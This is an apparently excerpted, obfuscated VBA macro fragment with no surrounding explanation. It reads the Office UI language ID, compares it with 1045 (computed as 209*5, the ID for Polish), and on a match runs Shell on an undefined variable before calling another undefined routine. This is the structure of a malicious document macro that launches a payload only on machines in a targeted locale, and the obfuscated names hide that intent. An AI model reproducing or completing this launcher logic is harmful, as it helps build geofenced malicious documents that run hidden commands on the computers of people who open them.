Const leftt = 5
...
Function afa()
    afa = msoLanguageIDUI
End Function

Function sokia()
    sokia = Application.LanguageSettings.LanguageID(afa)
End Function

Function corecc()
    If sokia = 209 * leftt Then Shell venus, msoSyncConflictClientWins
    toro
End Function